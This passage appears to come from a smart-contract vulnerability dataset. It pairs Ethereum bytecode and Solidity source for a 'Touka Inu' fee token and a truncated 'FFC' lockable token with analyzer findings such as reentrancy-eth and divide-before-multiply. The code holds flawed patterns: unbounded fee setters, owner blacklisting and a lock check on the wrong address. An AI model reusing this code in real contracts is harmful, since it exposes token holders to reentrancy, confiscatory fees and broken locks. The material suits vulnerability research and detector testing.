565b5b5090506137c491906138b2565b5090565b602060405190810160405280600081525090565b6138af91905b808211156138ab5760006000820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600282016000905560038201600090556004820160006101000a81549060ff02191690556004820160016101000a81549060ff021916905560058201600090556006820160006101000a81549060ff02191690556006820160016101000a81549060ff0219169055506007016137e2565b5090565b90565b6138d491905b808211156138d05760008160009055506001016138b8565b5090565b905600a165627a7a723058206efdff4f2b8d471875b9932830f1cb8516e742dab2186d5ff8f6b7412b67b75e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,919 |
0x1e88a67300221e9c339d07ea008006dd3a8fff32
|
/**
*Submitted for verification at Etherscan.io on 2021-12-08
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ToukaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0x716bFAEf55a2d12f14640dd4Ba7FE05Ff1280f8B);
address payable private _feeAddrWallet2 = payable(0x716bFAEf55a2d12f14640dd4Ba7FE05Ff1280f8B);
string private constant _name = "Touka Inu";
string private constant _symbol = "TOUKA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031f578063c3c8cd801461033f578063c9567bf914610354578063cfe81ba014610369578063dd62ed3e1461038957600080fd5b8063715018a614610274578063842b7c08146102895780638da5cb5b146102a957806395d89b41146102d1578063a9059cbb146102ff57600080fd5b8063273123b7116100e7578063273123b7146101e1578063313ce567146102035780635932ead11461021f5780636fc3eaec1461023f57806370a082311461025457600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268546f756b6120496e7560b81b60208201525b60405161015f9190611897565b60405180910390f35b34801561017457600080fd5b50610188610183366004611728565b6103cf565b604051901515815260200161015f565b3480156101a457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015f565b3480156101cd57600080fd5b506101886101dc3660046116e8565b6103e6565b3480156101ed57600080fd5b506102016101fc366004611678565b61044f565b005b34801561020f57600080fd5b506040516009815260200161015f565b34801561022b57600080fd5b5061020161023a36600461181a565b6104a3565b34801561024b57600080fd5b506102016104eb565b34801561026057600080fd5b506101b361026f366004611678565b610518565b34801561028057600080fd5b5061020161053a565b34801561029557600080fd5b506102016102a4366004611852565b6105ae565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102dd57600080fd5b50604080518082019091526005815264544f554b4160d81b6020820152610152565b34801561030b57600080fd5b5061018861031a366004611728565b610605565b34801561032b57600080fd5b5061020161033a366004611753565b610612565b34801561034b57600080fd5b506102016106b6565b34801561036057600080fd5b506102016106ec565b34801561037557600080fd5b50610201610384366004611852565b610ab5565b34801561039557600080fd5b506101b36103a43660046116b0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103dc338484610b0c565b5060015b92915050565b60006103f3848484610c30565b610445843361044085604051806060016040528060288152602001611a68602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f13565b610b0c565b5060019392505050565b6000546001600160a01b031633146104825760405162461bcd60e51b8152600401610479906118ea565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cd5760405162461bcd60e51b8152600401610479906118ea565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050b57600080fd5b4761051581610f4d565b50565b6001600160a01b0381166000908152600260205260408120546103e090610fd2565b6000546001600160a01b031633146105645760405162461bcd60e51b8152600401610479906118ea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106005760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600a55565b60006103dc338484610c30565b6000546001600160a01b0316331461063c5760405162461bcd60e51b8152600401610479906118ea565b60005b81518110156106b25760016006600084848151811061066e57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106aa816119fd565b91505061063f565b5050565b600c546001600160a01b0316336001600160a01b0316146106d657600080fd5b60006106e130610518565b905061051581611056565b6000546001600160a01b031633146107165760405162461bcd60e51b8152600401610479906118ea565b600f54600160a01b900460ff16156107705760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107b030826b033b2e3c9fd0803ce8000000610b0c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e957600080fd5b505afa1580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108219190611694565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561086957600080fd5b505afa15801561087d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a19190611694565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108e957600080fd5b505af11580156108fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109219190611694565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061095181610518565b6000806109666000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109c957600080fd5b505af11580156109dd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a02919061186a565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7d57600080fd5b505af1158015610a91573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b29190611836565b600d546001600160a01b0316336001600160a01b031614610b075760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600b55565b6001600160a01b038316610b6e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610bcf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610cf65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610d585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610d8457506000546001600160a01b03838116911614155b15610f03576001600160a01b03831660009081526006602052604090205460ff16158015610dcb57506001600160a01b03821660009081526006602052604090205460ff16155b610dd457600080fd5b600f546001600160a01b038481169116148015610dff5750600e546001600160a01b03838116911614155b8015610e2457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e395750600f54600160b81b900460ff165b15610e9657601054811115610e4d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e7157600080fd5b610e7c42601e61198f565b6001600160a01b0383166000908152600760205260409020555b6000610ea130610518565b600f54909150600160a81b900460ff16158015610ecc5750600f546001600160a01b03858116911614155b8015610ee15750600f54600160b01b900460ff165b15610f0157610eef81611056565b478015610eff57610eff47610f4d565b505b505b610f0e8383836111fb565b505050565b60008184841115610f375760405162461bcd60e51b81526004016104799190611897565b506000610f4484866119e6565b95945050505050565b600c546001600160a01b03166108fc610f67836002611206565b6040518115909202916000818181858888f19350505050158015610f8f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610faa836002611206565b6040518115909202916000818181858888f193505050501580156106b2573d6000803e3d6000fd5b60006008548211156110395760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610479565b6000611043611248565b905061104f8382611206565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110ac57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561110057600080fd5b505afa158015611114573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111389190611694565b8160018151811061115957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461117f9130911684610b0c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b890859060009086903090429060040161191f565b600060405180830381600087803b1580156111d257600080fd5b505af11580156111e6573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f0e83838361126b565b600061104f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611362565b6000806000611255611390565b90925090506112648282611206565b9250505090565b60008060008060008061127d876113d8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112af9087611435565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112de9086611477565b6001600160a01b038916600090815260026020526040902055611300816114d6565b61130a8483611520565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161134f91815260200190565b60405180910390a3505050505050505050565b600081836113835760405162461bcd60e51b81526004016104799190611897565b506000610f4484866119a7565b60085460009081906b033b2e3c9fd0803ce80000006113af8282611206565b8210156113cf575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113f58a600a54600b54611544565b9250925092506000611405611248565b905060008060006114188e878787611599565b919e509c509a509598509396509194505050505091939550919395565b600061104f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f13565b600080611484838561198f565b90508381101561104f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60006114e0611248565b905060006114ee83836115e9565b3060009081526002602052604090205490915061150b9082611477565b30600090815260026020526040902055505050565b60085461152d9083611435565b60085560095461153d9082611477565b6009555050565b600080808061155e606461155889896115e9565b90611206565b9050600061157160646115588a896115e9565b90506000611589826115838b86611435565b90611435565b9992985090965090945050505050565b60008080806115a888866115e9565b905060006115b688876115e9565b905060006115c488886115e9565b905060006115d6826115838686611435565b939b939a50919850919650505050505050565b6000826115f8575060006103e0565b600061160483856119c7565b90508261161185836119a7565b1461104f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b803561167381611a44565b919050565b600060208284031215611689578081fd5b813561104f81611a44565b6000602082840312156116a5578081fd5b815161104f81611a44565b600080604083850312156116c2578081fd5b82356116cd81611a44565b915060208301356116dd81611a44565b809150509250929050565b6000806000606084860312156116fc578081fd5b833561170781611a44565b9250602084013561171781611a44565b929592945050506040919091013590565b6000806040838503121561173a578182fd5b823561174581611a44565b946020939093013593505050565b60006020808385031215611765578182fd5b823567ffffffffffffffff8082111561177c578384fd5b818501915085601f83011261178f578384fd5b8135818111156117a1576117a1611a2e565b8060051b604051601f19603f830116810181811085821117156117c6576117c6611a2e565b604052828152858101935084860182860187018a10156117e4578788fd5b8795505b8386101561180d576117f981611668565b8552600195909501949386019386016117e8565b5098975050505050505050565b60006020828403121561182b578081fd5b813561104f81611a59565b600060208284031215611847578081fd5b815161104f81611a59565b600060208284031215611863578081fd5b5035919050565b60008060006060848603121561187e578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118c3578581018301518582016040015282016118a7565b818111156118d45783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561196e5784516001600160a01b031683529383019391830191600101611949565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119a2576119a2611a18565b500190565b6000826119c257634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119e1576119e1611a18565b500290565b6000828210156119f8576119f8611a18565b500390565b6000600019821415611a1157611a11611a18565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051557600080fd5b801515811461051557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d27925c0ee202172054085b6509b9647b8a91dcc0b0d645acdf14109f36283d364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,920 |
0xd64129ac9ec6307b9625869e817b6c45eaee80a9
|
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value)public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)public constant returns (uint256);
function transferFrom(address from, address to, uint256 value)public returns (bool);
function approve(address spender, uint256 value)public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause()public onlyOwner whenPaused returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value)public returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender)public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title FFC Token
* @dev FFC is PausableToken
*/
contract FFCToken is StandardToken, Pausable {
string public constant name = "FFC";
string public constant symbol = "FFC";
uint256 public constant decimals = 18;
// lock
struct LockToken{
uint256 amount;
uint32 time;
}
struct LockTokenSet{
LockToken[] lockList;
}
mapping ( address => LockTokenSet ) addressTimeLock;
mapping ( address => bool ) lockAdminList;
event TransferWithLockEvt(address indexed from, address indexed to, uint256 value,uint32 lockTime );
/**
* @dev Creates a new MPKToken instance
*/
constructor() public {
totalSupply = 10 * (10 ** 8) * (10 ** 18);
balances[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[msg.sender].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[_from].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transferFrom(_from, _to, _value);
}
function getLockAmount( address myaddress ) public view returns ( uint256 lockSum ) {
uint256 lockAmount = 0;
for( uint32 i = 0; i < addressTimeLock[myaddress].lockList.length; i ++ ){
if( addressTimeLock[myaddress].lockList[i].time > now ){
lockAmount += addressTimeLock[myaddress].lockList[i].amount;
}
}
return lockAmount;
}
function getLockListLen( address myaddress ) public view returns ( uint256 lockAmount ){
return addressTimeLock[myaddress].lockList.length;
}
function getLockByIdx( address myaddress,uint32 idx ) public view returns ( uint256 lockAmount, uint32 lockTime ){
if( idx >= addressTimeLock[myaddress].lockList.length ){
return (0,0);
}
lockAmount = addressTimeLock[myaddress].lockList[idx].amount;
